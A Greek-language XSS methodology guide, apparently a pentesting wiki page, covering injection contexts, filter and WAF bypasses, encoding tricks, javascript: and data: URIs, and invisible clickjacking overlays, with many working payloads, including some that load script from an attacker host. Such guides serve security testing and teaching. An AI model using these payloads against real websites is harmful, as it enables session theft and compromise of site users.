.. | ||
abusing-service-workers.md | ||
chrome-cache-to-xss.md | ||
debugging-client-side-js.md | ||
dom-clobbering.md | ||
dom-invader.md | ||
dom-xss.md | ||
iframes-in-xss-and-csp.md | ||
js-hoisting.md | ||
other-js-tricks.md | ||
pdf-injection.md | ||
README.md | ||
server-side-xss-dynamic-pdf.md | ||
shadow-dom.md | ||
sniff-leak.md | ||
some-same-origin-method-execution.md | ||
steal-info-js.md | ||
xss-in-markdown.md |
XSS (Cross Site Scripting)
Εάν ενδιαφέρεστε για καριέρα στο χάκινγκ και θέλετε να χακεύσετε το αδύνατο - σας προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού πολωνικού).
{% embed url="https://www.stmcyber.com/careers" %}
Μεθοδολογία
- Ελέγξτε αν οποιαδήποτε τιμή ελέγχετε (παράμετροι, διαδρομή, κεφαλίδες?, cookies?) αντανακλάται στο HTML ή χρησιμοποιείται από κώδικα JS.
- Βρείτε το πλαίσιο όπου αντανακλάται/χρησιμοποιείται.
- Εάν αντανακλάται
- Ελέγξτε ποια σύμβολα μπορείτε να χρησιμοποιήσετε και ανάλογα με αυτό, ετοιμάστε το payload:
- Σε ακατέργαστο HTML:
- Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
- Μπορείτε να χρησιμοποιήσετε συμβάντα ή γνωρίσματα που υποστηρίζουν το πρωτόκολλο
javascript:
; - Μπορείτε να παρακάμψετε προστασίες;
- Το περιεχόμενο HTML ερμηνεύεται από κάποιον κινητήρα JS στην πλευρά του πελάτη (AngularJS, VueJS, Mavo...), μπορείτε να εκμεταλλευτείτε μια Ενσωμάτωση Προτύπου Πλευράς Πελάτη.
- Εάν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, μπορείτε να εκμεταλλευτείτε ένα Κρεμασμένο Σήμα - Ενσωμάτωση HTML χωρίς script;
- Μέσα σε μια ετικέτα HTML:
- Μπορείτε να βγείτε στο πλαίσιο ακατέργαστου HTML;
- Μπορείτε να δημιουργήσετε νέα συμβάντα/γνωρίσματα για να εκτελέσετε κώδικα JS;
- Υποστηρίζει το γνώρισμα όπου είστε παγιδευμένος την εκτέλεση JS;
- Μπορείτε να παρακάμψετε προστασίες;
- Μέσα στον κώδικα JavaScript:
- Μπορείτε να δραπετεύσετε την ετικέτα
<script>
; - Μπορείτε να δραπετεύσετε τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
- Είναι η είσοδός σας σε πρότυπα προτάσεων ``;
- Μπορείτε να παρακάμψετε προστασίες;
- Η συνάρτηση JavaScript που εκτελείται
- Μπορείτε να υποδείξετε το όνομα της συνάρτησης προς εκτέλεση. π.χ.:
?callback=alert(1)
- Εάν χρησιμοποιείται:
- Μπορείτε να εκμεταλλευτείτε ένα DOM XSS, προσέξτε πώς ελέγχεται η είσοδός σας και αν η ελεγχόμενη είσοδός σας χρησιμοποιείται από κάποια διαρροή.
Κατά την εργασία σε ένα πολύπλοκο XSS μπορεί να σας ενδιαφέρει να γνωρίζετε για:
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
Αντανακλώμενες τιμές
Για να εκμεταλλευτείτε με επιτυχία ένα XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια τιμή που ελέγχετε και αντανακλάται στην ιστοσελίδα.
- Ενδιάμεσα αντανακλώμενες: Εάν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και η διαδρομή αντανακλάται στην ιστοσελίδα, μπορείτε να εκμεταλλευτείτε ένα Αντανακλώμενο XSS.
- Αποθηκευμένες και αντανακλώμενες: Εάν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανακλάται κάθε φορά που έχετε πρόσβαση σε μια σελίδα, μπορείτε να εκμεταλλευτείτε ένα Αποθηκευμένο XSS.
- Προσπελάστε μέσω JS: Εάν βρείτε ότι μια τιμή που ελέγχετε προσπελάζεται χρησιμοποιώντας JS, μπορείτε να εκμεταλλευτείτε ένα DOM XSS.
Πλαίσια
Όταν προσπαθείτε να εκμεταλλευτείτε ένα XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι πού αντανακλάται η είσοδός σας. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
Ακατέργαστο HTML
Εάν η είσοδός σας αντανακλάται στην ακατέργαστη HTML σελίδα, θα πρέπει να εκμεταλλευτείτε κάποια ετικέτα HTML για να εκτελέσετε κώδικα JS: <img , <iframe , <svg , <script
... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που μπορείτε να χρησιμοποιήσετε.
Επίσης, να έχετε υπόψη τη Ενσωμάτωση Προτύπου Πλευράς Πελάτη.
Μέσα σε γνωρίσματα ετικετών HTML
Εάν η είσοδός σας αντανακλάται μέσα στην τιμή του γνωρίσματος μιας ετικέτας, μπορείτε να δοκιμάσετε:
- Να δραπετεύσετε από το γνώρισμα και από την ετικέτα (τότε θα βρίσκεστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για εκμετάλλευση:
"><img [...]
- Εάν μπορείτε να δραπετεύσετε από το γνώρισμα αλλά όχι από την ετικέτα (
>
κωδικοποιείται ή διαγράφεται), ανάλογα με την ετικέτα μπορείτε να δημιουργήσετε ένα συμβάν που εκτελεί κώδικα JS:" autofocus onfocus=alert(1) x="
- Εάν δεν μπορείτε να δραπετεύσετε από το γνώρισμα (
"
κωδικοποιείται ή διαγράφεται), τότε ανάλογα με το ποιο γνώρισμα αντανακλάται η τιμή σας αν μπορείτε να ελέγξετε όλη την τιμή ή μόνο ένα μέρος, θα μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα συμβάν όπως τοonclick=
, θα μπορείτε να το κάνετε να εκτελέσει αυθαίρετο κώδικα όταν γίνει κλικ. Ένα άλλο ενδιαφέρον παράδειγμα είναι το γνώρισμαhref
, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλοjavascript:
για να εκτελέσετε αυθαίρετο κώδικα:href="javascript:alert(1)"
- Εάν η είσοδός σας αντανακλάται μέσα σε "μη εκμεταλλεύσιμες ετικέτες" μπορείτε να δοκιμάσετε το κόλπο
accesskey
για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιον είδους κοινωνικού μηχανικού για να εκμεταλλευτείτε αυτό):" accesskey="x" onclick="alert(1)" x="
Παράδειγμα του Angular που εκτελεί XSS εάν ελέγχετε ένα όνομα κλάσης:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Μέσα στον κώδικα JavaScript
Σε αυτήν την περίπτωση, η είσοδός σας αντανακλάται μεταξύ των ετικετών <script> [...] </script>
ενός HTML σελίδας, μέσα σε ένα αρχείο .js
ή μέσα σε ένα γνώρισμα χρησιμοποιώντας το πρωτόκολλο javascript:
:
- Αν αντανακλάται μεταξύ των ετικετών
<script> [...] </script>
, ακόμα κι αν η είσοδός σας βρίσκεται μέσα σε οποιοδήποτε είδος εισαγωγικών, μπορείτε να προσπαθήσετε να εισάγετε το</script>
και να δραπετεύσετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML και μετά το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι το εισαγόμενο σας</script>
είναι μέσα στον κώδικα HTML. - Αν αντανακλάται μέσα σε μια συμβολοσειρά JS και η προηγούμενη τεχνική δεν λειτουργεί, θα χρειαστεί να βγείτε από τη συμβολοσειρά, να εκτελέσετε τον κώδικά σας και να ανακατασκευάσετε τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Αν αντανακλάται μέσα σε πρότυπα κυρίως μπορείτε να ενσωματώσετε εκφράσεις JS χρησιμοποιώντας τη σύνταξη
${ ... }
:var greetings = `Hello, ${alert(1)}`
- Η κωδικοποίηση Unicode λειτουργεί για να γράψετε έγκυρο κώδικα JavaScript:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Εξόρυξη Javascript
Η εξόρυξη Javascript αναφέρεται στη δυνατότητα δήλωσης συναρτήσεων, μεταβλητών ή κλάσεων μετά τη χρήση τους, ώστε να μπορείτε να εκμεταλλευτείτε περιπτώσεις όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις.
Ελέγξτε την παρακάτω σελίδα για περισσότερες πληροφορίες:
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
Συνάρτηση Javascript
Πολλές ιστοσελίδες έχουν σημεία που δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί. Ένα κοινό παράδειγμα που βλέπουμε συχνά είναι κάτι σαν: ?callback=callbackFunc
.
Ένας καλός τρόπος να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι να τροποποιήσετε την τιμή της παραμέτρου (για παράδειγμα σε 'Ευάλωτο') και να ελέγξετε στην κονσόλα για σφάλματα όπως:
Σε περίπτωση που είναι ευάλωτο, μπορείτε να ενεργοποιήσετε ένα ειδοποιητή απλά στέλνοντας την τιμή: ?callback=alert(1)
. Ωστόσο, είναι πολύ συνηθισμένο ότι αυτά τα σημεία θα επικυρώνουν το περιεχόμενο για να επιτρέψουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες ([\w\._]
).
Ωστόσο, ακόμα και με αυτό τον περιορισμό είναι δυνατό να εκτελέσετε κάποιες ενέργειες. Αυτό οφείλεται στο γεγονός ότι μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για πρόσβαση σε οποιοδήποτε στοιχείο στο DOM:
Μερικές χρήσιμες συναρτήσεις γι' αυτό:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Μπορείτε επίσης να δοκιμάσετε να ενεργοποιήσετε συναρτήσεις Javascript απευθείας: obj.sales.delOrders
.
Ωστόσο, συνήθως τα σημεία που εκτελούν την εν λόγω λειτουργία είναι σημεία χωρίς πολύ ενδιαφέρον DOM, άλλες σελίδες στην ίδια προέλευση θα έχουν ένα πιο ενδιαφέρον DOM για να εκτελέσουν περισσότερες ενέργειες.
Επομένως, για να καταχραστείτε αυτήν την ευπάθεια σε ένα διαφορετικό DOM αναπτύχθηκε η εκμετάλλευση Same Origin Method Execution (SOME):
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
Υπάρχει κώδικας JS που χρησιμοποιεί μη ασφαλώς κάποια δεδομένα που ελέγχεται από έναν επιτιθέμενο όπως το location.href
. Ένας επιτιθέμενος μπορεί να καταχραστεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Universal XSS
Αυτού του είδους τα XSS μπορούν να βρεθούν οπουδήποτε. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη ενός web εφαρμογής αλλά από οποιοδήποτε πλαίσιο. Αυτού του είδους η αυθαίρετη εκτέλεση JavaScript μπορεί ακόμη να καταχραστεί για να λάβει RCE, διαβάσει αυθαίρετα αρχεία σε πελάτες και διακομιστές, και περισσότερα.
Μερικά παραδείγματα:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
WAF παράκαμψη κωδικοποίησης εικόνας
Ενσωμάτωση μέσα σε ακατέργαστο HTML
Όταν η είσοδός σας αντανακλάται μέσα στη σελίδα HTML ή μπορείτε να δραπετεύσετε και να ενσωματώσετε κώδικα HTML σε αυτό το πλαίσιο, το πρώτο πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το <
για να δημιουργήσετε νέες ετικέτες: Απλά δοκιμάστε να αντανακλάτε αυτό το χαρακτήρα και ελέγξτε αν γίνεται κωδικοποίηση HTML ή διαγραφή του ή αν αντανακλάται χωρίς αλλαγές. Μόνο σε αυτήν την τελευταία περίπτωση θα μπορείτε να εκμεταλλευτείτε αυτήν την περίπτωση.
Για αυτές τις περιπτώσεις επίσης θυμηθείτε Ενσωμάτωση Πλευράς Πελάτη.
Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας** -->
ή ****--!>
**
Σε αυτήν την περίπτωση και αν δεν χρησιμοποιείται μαύρη/λευκή λίστα, μπορείτε να χρησιμοποιήσετε φορτία όπως:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
Ωστόσο, εάν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα πρέπει να δοκιμάσετε με βία ποιες ετικέτες μπορείτε να δημιουργήσετε.
Αφού εντοπίσετε ποιες ετικέτες επιτρέπονται, θα πρέπει να δοκιμάσετε με βία τα χαρακτηριστικά/συμβάντα μέσα στις εντοπισμένες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο.
Δοκιμή με βία ετικετών/συμβάντων
Μεταβείτε στο https://portswigger.net/web-security/cross-site-scripting/cheat-sheet και κάντε κλικ στο Αντιγραφή ετικετών στο πρόχειρο. Στη συνέχεια, στείλτε τις όλες χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποιες ετικέτες δεν ανακαλύφθηκαν ως κακόβουλες από το WAF. Αφού ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να δοκιμάσετε με βία όλα τα συμβάντα χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο Αντιγραφή συμβάντων στο πρόχειρο και ακολουθήστε την ίδια διαδικασία όπως πριν).
Προσαρμοσμένες ετικέτες
Εάν δεν βρήκατε καμία έγκυρη ετικέτα HTML, μπορείτε να δοκιμάσετε να δημιουργήσετε μια προσαρμοσμένη ετικέτα και να εκτελέσετε κώδικα JS με το χαρακτηριστικό onfocus
. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με #
για να κάνετε τη σελίδα εστιάσει σε αυτό το αντικείμενο και εκτελέσει τον κώδικα:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Παράκαμψη Μαύρης Λίστας
Εάν χρησιμοποιείται κάποιο είδος μαύρης λίστας, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Παράκαμψη μήκους (μικρά XSSs)
{% hint style="info" %} Περισσότερα μικρά XSS για διαφορετικά περιβάλλοντα φορτίο μπορεί να βρεθεί εδώ και εδώ. {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
Το τελευταίο χρησιμοποιεί 2 χαρακτήρες Unicode που επεκτείνονται σε 5: telsr
Περισσότεροι από αυτούς οι χαρακτήρες μπορούν να βρεθούν εδώ.
Για να ελέγξετε σε ποιους χαρακτήρες αποσυνθέτονται, ελέγξτε εδώ.
Click XSS - Clickjacking
Αν για να εκμεταλλευτείτε την ευπάθεια χρειάζεται ο χρήστης να κάνει κλικ σε ένα σύνδεσμο ή ένα φόρμα με προεπιλεγμένα δεδομένα, μπορείτε να δοκιμάσετε να καταχραστείτε το Clickjacking (αν η σελίδα είναι ευάθροιστη).
Αδύνατο - Dangling Markup
Αν απλά πιστεύετε ότι είναι αδύνατο να δημιουργήσετε ένα ετικέτα HTML με ένα γνώρισμα για να εκτελέσετε κώδικα JS, θα πρέπει να ελέγξετε το Danglig Markup επειδή μπορείτε να εκμεταλλευτείτε την ευπάθεια χωρίς να εκτελέσετε κώδικα JS.
Ενσωμάτωση μέσα σε ετικέτα HTML
Μέσα στην ετικέτα/διαφυγή από την τιμή του γνωρίσματος
Αν βρίσκεστε μέσα σε μια ετικέτα HTML, το πρώτο πράγμα που μπορείτε να δοκιμάσετε είναι να διαφύγετε από την ετικέτα και να χρησιμοποιήσετε κάποιες από τις τεχνικές που αναφέρονται στο προηγούμενο τμήμα για να εκτελέσετε κώδικα JS.
Αν δεν μπορείτε να διαφύγετε από την ετικέτα, μπορείτε να δημιουργήσετε νέα γνωρίσματα μέσα στην ετικέτα για να δοκιμάσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο φορτίο όπως (σημειώστε ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να διαφύγετε από το γνώρισμα, δεν θα τα χρειαστείτε αν η είσοδός σας αντανακλάται απευθείας μέσα στην ετικέτα):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Στυλ συμβάντων
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Μέσα στο γνώρισμα
Ακόμα κι αν δεν μπορείτε να δραπετεύσετε από το γνώρισμα ("
κωδικοποιείται ή διαγράφεται), ανάλογα με ποιο γνώρισμα αντικατοπτρίζεται η τιμή σας εάν ελέγχετε όλη την τιμή ή μόνο ένα μέρος μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα γεγονός όπως το onclick=
, θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.
Ένα άλλο ενδιαφέρον παράδειγμα είναι το γνώρισμα href
, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο javascript:
για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"
Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας κωδικοποίηση HTML/κωδικοποίηση URL
Οι κωδικοποιημένοι χαρακτήρες HTML μέσα στην τιμή των γνωρισμάτων ετικετών HTML αποκωδικοποιούνται κατά την εκτέλεση. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το φορτίο είναι σε έντονα γράμματα): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Επιστροφή </a>
Σημειώστε ότι οποιαδήποτε μορφή κωδικοποίησης HTML είναι έγκυρη:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Σημείωση ότι η κωδικοποίηση URL θα λειτουργήσει επίσης:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Παράκαμψη εντός συμβάντος χρησιμοποιώντας κωδικοποίηση Unicode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Ειδικοί Πρωτόκολλοι Εντός του Χαρακτηριστικού
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα javascript:
ή data:
σε ορισμένα σημεία για να εκτελέσετε αυθαίρετο κώδικα JS. Κάποια θα απαιτήσουν αλληλεπίδραση χρήστη και κάποια όχι.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Τοποθεσίες όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα
Γενικά το πρωτόκολλο javascript:
μπορεί να χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό href
και σε τις περισσότερες από τις ετικέτες που δέχονται το χαρακτηριστικό src
(αλλά όχι <img
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Άλλα κόλπα παρασκευής
Σε αυτήν την περίπτωση, η κωδικοποίηση HTML και το κόλπο κωδικοποίησης Unicode από την προηγούμενη ενότητα είναι επίσης έγκυρα καθώς βρίσκεστε μέσα σε ένα γνώρισμα.
<a href="javascript:var a=''-alert(1)-''">
Επιπλέον, υπάρχει ένα όμορφο κόλπο για αυτές τις περιπτώσεις: Ακόμα κι αν το input σας μέσα στο javascript:...
κωδικοποιείται σε μορφή URL, θα αποκωδικοποιηθεί πριν εκτελεστεί. Έτσι, αν χρειάζεστε να δραπετεύσετε από το string χρησιμοποιώντας μια μονή απόστροφο και βλέπετε ότι κωδικοποιείται σε μορφή URL, θυμηθείτε ότι δεν έχει σημασία, θα ερμηνευτεί ως μονή απόστροφο κατά την εκτέλεση.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Σημείωση ότι αν προσπαθήσετε να χρησιμοποιήσετε και τα δύο URLencode + HTMLencode
με οποιαδήποτε σειρά για να κωδικοποιήσετε το payload δεν θα λειτουργήσει, αλλά μπορείτε να τα ανακατέψετε μέσα στο payload.
Χρησιμοποιώντας το Hex και το Octal encode με το javascript:
Μπορείτε να χρησιμοποιήσετε το Hex και το Octal encode μέσα στο χαρακτηριστικό src
του iframe
(τουλάχιστον) για να δηλώσετε HTML tags για να εκτελέσετε JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Αντιστροφή tab nabbing
<a target="_blank" rel="opener"
Εάν μπορείτε να εισάγετε οποιονδήποτε σύνδεσμο URL σε ένα αυθαίρετο <a href=
ετικέτα που περιέχει τα χαρακτηριστικά target="_blank" και rel="opener"
, ελέγξτε τη ακόλουθη σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά:
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
Παράκαμψη Χειριστών Γεγονότων
Καταρχάς, ελέγξτε αυτήν τη σελίδα (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) για χρήσιμους "on" χειριστές γεγονότων.
Σε περίπτωση που υπάρχει κάποια μαύρη λίστα που σας εμποδίζει από το να δημιουργήσετε αυτούς τους χειριστές γεγονότων, μπορείτε να δοκιμάσετε τις ακόλουθες παρακάμψεις:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονικός, μετα)
Από εδώ είναι πλέον δυνατή η κατάχρηση των κρυφών εισόδων με:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
Και στις μεταετικέτες:
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Από εδώ: Μπορείτε να εκτελέσετε ένα XSS payload μέσα σε ένα κρυφό γνώρισμα, αρκεί να πείσετε το θύμα να πατήσει το συνδυασμό πλήκτρων. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι ALT+SHIFT+X και στο OS X είναι CTRL+ALT+X. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο γνώρισμα πρόσβασης. Εδώ είναι το διάνυσμα:
<input type="hidden" accesskey="X" onclick="alert(1)">
Το XSS payload θα είναι κάτι τέτοιο: " accesskey="x" onclick="alert(1)" x="
Παράκαμψη Μαύρης Λίστας
Έχουν αποκαλυφθεί ήδη αρκετά κόλπα χρησιμοποιώντας διαφορετικές κωδικοποιήσεις μέσα σε αυτήν την ενότητα. Πήγαινε πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:
- Κωδικοποίηση HTML (ετικέτες HTML)
- Κωδικοποίηση Unicode (μπορεί να είναι έγκυρος κώδικας JS):
\u0061lert(1)
- Κωδικοποίηση URL
- Κωδικοποίηση Hex και Octal
- Κωδικοποίηση δεδομένων
Παρακάμψεις για ετικέτες και χαρακτηριστικά HTML
Διάβασε τις Παρακάμψεις Μαύρης Λίστας της προηγούμενης ενότητας.
Παρακάμψεις για κώδικα JavaScript
Διάβασε τις Παρακάμψεις Μαύρης Λίστας JavaScript της επόμενης ενότητας.
CSS-Gadgets
Αν βρήκες ένα XSS σε ένα πολύ μικρό μέρος του ιστοώστερου που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένα μικρό link στο υποσέλιδο με στοιχείο onmouseover), μπορείς να τροποποιήσεις τον χώρο που καταλαμβάνει το στοιχείο για να μεγιστοποιήσεις τις πιθανότητες εκτέλεσης του συνδέσμου.
Για παράδειγμα, θα μπορούσες να προσθέσεις κάποια στυλιστικά στοιχεία στο στοιχείο όπως: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
